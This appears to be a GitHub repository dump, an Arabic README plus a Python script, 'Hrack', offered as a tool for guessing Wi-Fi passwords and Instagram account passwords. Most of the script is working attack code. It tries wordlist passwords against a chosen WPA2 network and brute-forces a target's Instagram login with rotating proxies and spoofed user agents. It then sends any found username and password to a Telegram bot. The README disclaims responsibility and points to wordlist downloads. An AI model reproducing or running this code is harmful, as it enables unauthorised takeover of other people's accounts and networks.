├── README.md └── Hrack.py /README.md: -------------------------------------------------------------------------------- 1 | # Hrack (Hash Crack) 2 | ## أداة تخمين كلمات سر شبكات الـWi-Fi وحسابات الانستقرام 3 | 4 | واجهة الأداة 5 | 6 | ### تثبيت المكاتب 7 | ``` 8 | pip install requests user_agent pywifi 9 | ``` 10 | 11 | ### أوامر التثبيت (Linux, iSH, Termux)، بالنسبة للـWindows ثبت ملف Hrack.py 12 | 13 | ``` 14 | sudo git clone https://github.com/tlersa/Hrack.git 15 | cd Hrack/ 16 | sudo python3 Hrack.py 17 | ``` 18 | 19 | ### المميزات 20 | - مجانية ومفتوحة المصدر ✔️ 21 | - تخمين سريع يقدر بـ0.5ث لكل كلمة سر ✔️ 22 | - تدعم ميزة استخدام ملفات البروكسيات للخيار الثاني ✔️ 23 | - تدعم ميزة الإرسال للتليقرام للخيار الثاني ✔️ 24 | - إذا لم تكن مثبت المكاتب المطلوبة (requests, user_agent_ pywifi) سيتم تثبيتها تلقائياً ✔️ 25 | 26 | ### الملاحظات ⚠️ 27 | - أي استخدام خاطئ للأداة فنحن غير مسؤولين 28 | - بالخيار الأول يجب أن تكون الشبكة المستهدفة داخل النطاق الجغرافي لجهاز التوجيه (Router) الخاص بك 29 | -------------------------------------------------------------------------------- /Hrack.py: -------------------------------------------------------------------------------- 1 | try: 2 | import requests, random, os, time, platform 3 | from user_agent import generate_user_agent 4 | from ast import Pass 5 | from pywifi import * 6 | except ModuleNotFoundError: 7 | os.system("pip install requests user_agent pywifi") 8 | 9 | os.system("clear") 10 | 11 | Black = "\033[1;30m" 12 | Red = "\033[1;31m" 13 | Green = "\033[1;32m" 14 | Yellow = "\033[1;33m" 15 | Blue = "\033[1;34m" 16 | Purple = "\033[1;35m" 17 | Cyan = "\033[1;36m" 18 | White = "\033[1;37m" 19 | Gray = "\033[1;39m" 20 | DarkRed = "\033[2;31m" 21 | DarkBlue = "\033[2;34m" 22 | DarkPink = "\033[2;35m" 23 | DarkCyan = "\033[2;36m" 24 | 25 | print("""\033[1;35m 26 | ___----------___ 27 | _-- ----__ 28 | - ---_ 29 | -___ ____---_ --_ 30 | __---_ .-_-- _ O _- - 31 | - -_- --- - 32 | - __---------___ - 33 | - _---- - 34 | - -_ _ 35 | ` _- _ 36 | _ _-_ _-_ _ 37 | _- ____ -_ - -- 38 | - _-__ _ __--- ------- - 39 | _- _- -_-- -_-- _ 40 | -_- _ 41 | _- \033[1;37mv0.1.2\033[1;35m _ 42 | 43 | \n\033[1;37mTHIS TOOL WAS PROGRAMMED BY TLER AL-SHAHRANI.\nPERSONAL WEBSITE : \033[1;34mhttps://tlersa.github.io/tleralshahrani/Index.html""") 44 | print("\033[1;37m- "*35) 45 | 46 | def main_menu(): 47 | print("""\033[1;37m[\033[1;35m1\033[1;37m] - Wi-Fi 48 | \033[1;37m[\033[1;35m2\033[1;37m] - Instagram 49 | [\033[1;35m99\033[1;37m] - Exit""") 50 | 51 | def handle_selection(selection): 52 | if selection == "1" or selection == "Wi-Fi" or selection == "WI-FI" or selection == "wi-fi": 53 | def check_os(): 54 | os_name = platform.system() 55 | 56 | if os_name == "Linux": 57 | def linux_wifi(ssid, password, interface): 58 | linux_wifi = pywifi.PyWiFi() 59 | INF = linux_wifi.interfaces()[interface] 60 | INF.disconnect() 61 | time.sleep(1) 62 | 63 | profile = pywifi.Profile() 64 | profile.ssid = ssid 65 | profile.auth = const.AUTH_ALG_OPEN 66 | profile.akm.append(const.AKM_TYPE_WPA2PSK) 67 | profile.cipher = const.CIPHER_TYPE_CCMP 68 | profile.key = password 69 | 70 | INF.remove_all_network_profiles() 71 | tmp_profile = INF.add_network_profile(profile) 72 | 73 | INF.connect(tmp_profile) 74 | time.sleep(5) 75 | 76 | if INF.status() == const.IFACE_CONNECTED: 77 | print(f"[\033[1;32m✓\033[1;37m] Pass : \033[1;35m{password}") 78 | return True 79 | else: 80 | print(f"""\033[1;37m[\033[1;31m✕\033[1;37m] Pass \033[1;35m{password} \033[1;37mis False!""") 81 | return False 82 | 83 | ssid = input("\033[1;37m[\033[1;35m+\033[1;37m] Entet the SSID (Wi-Fi name) : \033[1;35m") 84 | passwords = input("""\033[1;37m[\033[1;35m+\033[1;37m] Enter the name of the passwords file 85 | \033[1;33m(if u don't have it, do one of these things : 86 | \033[1;37m• \033[1;33mDownload it to your device from https://t.me/tler_sa/80 87 | \033[1;37m• \033[1;33mSearch for these files on the internet and download them to your device 88 | \033[1;37m• \033[1;33mCreate a file using the Crunch tool) 89 | \033[1;37m: \033[1;35m""") 90 | interface = int(input("""\033[1;37m[\033[1;35m+\033[1;37m] Enter the interface num (\033[1;32mex\033[1;37m: \033[1;32m0 \033[1;37mfor \033[1;32mwlan0\033[1;37m) 91 | \033[1;33m(if u don't know what the interface num is : 92 | \033[1;37m• \033[1;33mType the command "iwconfig" in the terminal) 93 | \033[1;37m: \033[1;35m""")) 94 | 95 | try: 96 | with open(passwords, "r") as file: 97 | for password in file.readlines(): 98 | password = password.strip() 99 | if linux_wifi(ssid, password, interface): break 100 | except FileNotFoundError: print(f"\033[1;31mFile \033[1;35m{passwords}\033[1;31m not found!\033[1;37m") 101 | else: 102 | try: 103 | wifi = PyWiFi() 104 | INF = wifi.interfaces()[0] 105 | INF.scan() 106 | Rscan = INF.scan_results() 107 | except: print("\033[1;31mWi-Fi not found!\033[1;37m") 108 | 109 | def wifi(ssid, password): 110 | prof = Profile() 111 | prof.ssid = ssid 112 | prof.auth = const.AUTH_ALG_OPEN 113 | prof.akm.append(const.AKM_TYPE_WPA2PSK) 114 | prof.cipher = const.CIPHER_TYPE_CCMP 115 | prof.key = password 116 | INF.remove_all_network_profiles() 117 | TEMP_PROF = INF.add_network_profile(prof) 118 | INF.connect(TEMP_PROF) 119 | 120 | time.sleep(0.5) 121 | 122 | if INF.status() == const.IFACE_CONNECTED: 123 | print(f"\033[1;37m[\033[1;32m✓\033[1;37m] Pass : \033[1;35m{password}") 124 | return True 125 | else: 126 | print(f"""\033[1;37m[\033[1;31m✕\033[1;37m] Pass \033[1;35m{password} \033[1;37mis False!""") 127 | return False 128 | 129 | ssid = input("\033[1;37m[\033[1;35m+\033[1;37m] Entet the SSID (Wi-Fi name) : \033[1;35m") 130 | passwords = input("""\033[1;37m[\033[1;35m+\033[1;37m] Enter the name of the passwords file 131 | \033[1;33m(if u don't have it, do one of these things : 132 | \033[1;37m• \033[1;33mDownload it to your device from https://t.me/tler_sa/80 133 | \033[1;37m• \033[1;33mSearch for these files on the internet and download them to your device 134 | \033[1;37m• \033[1;33mCreate a file using the Crunch tool) 135 | \033[1;37m: \033[1;35m""") 136 | 137 | try: 138 | filee = open(passwords, "r") 139 | for Pass in filee.readlines(): 140 | Pass = Pass.strip() 141 | if wifi(ssid, Pass): break 142 | except: print(f"\033[1;31mFile \033[1;35m{passwords}\033[1;31m not found!\033[1;37m") 143 | 144 | another_operation = input("\033[1;37mWould you like another operation? (\033[1;35mY\033[1;37m/\033[1;35mN\033[1;37m) \033[1;35m") 145 | if another_operation == "Y" or another_operation == "y" or another_operation == "Yes" or another_operation == "yes" or another_operation == "YES": main_menu() 146 | elif another_operation == "N" or another_operation == "n" or another_operation == "No" or another_operation == "no" or another_operation == "No": exit("\033[1;37m") 147 | check_os() 148 | 149 | elif selection == "2" or selection == "Instagram" or selection == "instagram" or selection == "INSTAGRAM": 150 | send_tele = input("\033[1;37m[\033[1;35m+\033[1;37m] Do you want to send info to the Telegram? \033[1;37m(\033[1;33mY\033[1;37m/\033[1;33mN\033[1;37m) \033[1;33m") 151 | if send_tele == "Y" or send_tele == "y" or send_tele == "Yes" or send_tele == "yes": 152 | ID = input("\033[1;37m[\033[1;35m1\033[1;37m] Enter your Telegram ID \033[1;37m: \033[1;35m") 153 | token = input("\033[1;37m[\033[1;35m2\033[1;37m] Enter your Telegram bot token \033[1;37m: \033[1;35m") 154 | elif send_tele == "N" or send_tele == "n" or send_tele == "No" or send_tele == "no": None 155 | else: print("\033[1;31mPlease choose \033[1;37m(\033[1;33mY\033[1;37m/\033[1;33mN\033[1;37m)!") 156 | 157 | r = requests.Session() 158 | 159 | filee = input("""\033[1;37m[\033[1;35m+\033[1;37m] Enter the name of the passwords file 160 | \033[1;33m(if u don't have it, do one of these things : 161 | \033[1;37m• \033[1;33mDownload it to your device from https://t.me/tler_sa/80 162 | \033[1;37m• \033[1;33mSearch for these files on the internet and download them to your device 163 | \033[1;37m• \033[1;33mCreate a file using the Crunch tool) 164 | \033[1;37m: \033[1;35m""") 165 | rfile = open(filee, "r") 166 | 167 | def get_proxies(): 168 | proxies = [] 169 | proxy_file = input("\033[1;37m[\033[1;35m+\033[1;37m] If you have a proxies file, please enter its name \033[1;37m: \033[1;35m") 170 | 171 | if proxy_file == True: 172 | try: 173 | with open(proxy_file, 'r') as f: proxies = [line.strip() for line in f] 174 | except FileNotFoundError: print("\033[1;31mUnfortunately, the file was not found. It will continue without proxies") 175 | return proxies 176 | 177 | elif proxy_file == "": None 178 | 179 | def make_request(url, proxies): 180 | if proxies: 181 | for proxy in proxies: 182 | try: 183 | response = requests.get(url, proxies={"http": proxy, "https": proxy}) 184 | return response 185 | except requests.exceptions.RequestException: print(f"\033[1;31mThis proxy {proxy} has not been connected, the following will be tried...") 186 | else: 187 | response = requests.get(url) 188 | return response 189 | 190 | proxies = get_proxies() 191 | response = make_request('https://www.instagram.com/accounts/login/ajax/', proxies) 192 | 193 | us = input("\033[1;37m[\033[1;35m+\033[1;37m] Enter username target : \033[1;35m@") 194 | 195 | while True: 196 | username = us 197 | password = rfile.readline().split("\n")[0] 198 | 199 | url = 'https://www.instagram.com/accounts/login/ajax/' 200 | 201 | headers = {'accept':'*/*', 202 | 'accept-encoding':'gzip,deflate,br', 203 | 'accept-language':'en-US,en;q=0.9,ar;q=0.8', 204 | 'content-length':'269', 205 | 'content-type':'application/x-www-form-urlencoded', 206 | 'cookie':'ig_did=77A45489-9A4C-43AD-9CA7-FA3FAB22FE24;ig_nrcb=1;csrftoken=VOPH7fUUOP85ChEViZkd2PhLkUQoP8P8;mid=YGwlfgALAAEryeSgDseYghX2LAC-', 207 | 'origin':'https://www.instagram.com', 208 | 'referer':'https://www.instagram.com/', 209 | 'sec-fetch-dest':'empty', 210 | 'sec-fetch-mode':'cors', 211 | 'sec-fetch-site':'same-origin', 212 | 'user-agent': generate_user_agent(), 213 | 'x-csrftoken':'VOPH7fUUOP85ChEViZkd2PhLkUQoP8P8', 214 | 'x-ig-app-id':'936619743392459', 215 | 'x-ig-www-claim':'0', 216 | 'x-instagram-ajax':'8a8118fa7d40', 217 | 'x-requested-with':'XMLHttpRequest'} 218 | 219 | data = { 220 | 'username': username, 221 | 'enc_password':'#PWD_INSTAGRAM_BROWSER:0:1589682409:{}'.format(password), 222 | 'queryParams':'{}', 223 | 'optIntoOneTap':'false'} 224 | 225 | req_login = r.post(url, headers=headers, data=data, proxies=None) 226 | 227 | if "userId" in req_login.text: 228 | print(f"\033[1;37m[\033[1;32m✓\033[1;37m] Pass : \033[1;35m{password}\033[1;37mis True!") 229 | tlg = (f"https://api.telegram.org/bot{token}/sendMessage?chat_id={ID}&text={username}{password}") 230 | i = requests.post(tlg) 231 | break 232 | 233 | else: print(f"\033[1;37m[\033[1;31m✕\033[1;37m] Pass \033[1;35m{password} \033[1;37mis False!") 234 | 235 | another_operation = input("\033[1;37mWould you like another operation? (\033[1;35mY\033[1;37m/\033[1;35mN\033[1;37m) \033[1;35m") 236 | if another_operation == "Y" or another_operation == "y" or another_operation == "Yes" or another_operation == "yes" or another_operation == "YES": main_menu() 237 | elif another_operation == "N" or another_operation == "n" or another_operation == "No" or another_operation == "no" or another_operation == "No": exit("\033[1;37m") 238 | elif selection == "99" or selection == "EXIT" or selection == "exit": exit("\033[1;37m") 239 | else: print("\033[1;31mPlease choose a valid option!") 240 | 241 | def main(): 242 | main_menu() 243 | 244 | while True: 245 | user_input = input("\033[1;37mChoose : \033[1;35m") 246 | handle_selection(user_input) 247 | 248 | if __name__ == "__main__": main() 249 | --------------------------------------------------------------------------------